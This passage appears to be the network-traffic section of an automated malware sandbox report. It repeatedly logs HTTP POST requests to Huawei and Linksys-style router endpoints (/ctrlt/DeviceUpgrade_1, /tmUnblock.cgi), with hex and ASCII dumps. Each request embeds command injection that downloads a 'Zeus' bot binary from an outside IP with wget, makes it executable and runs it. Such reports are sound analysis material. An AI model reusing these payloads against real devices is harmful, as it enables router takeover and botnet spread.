64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 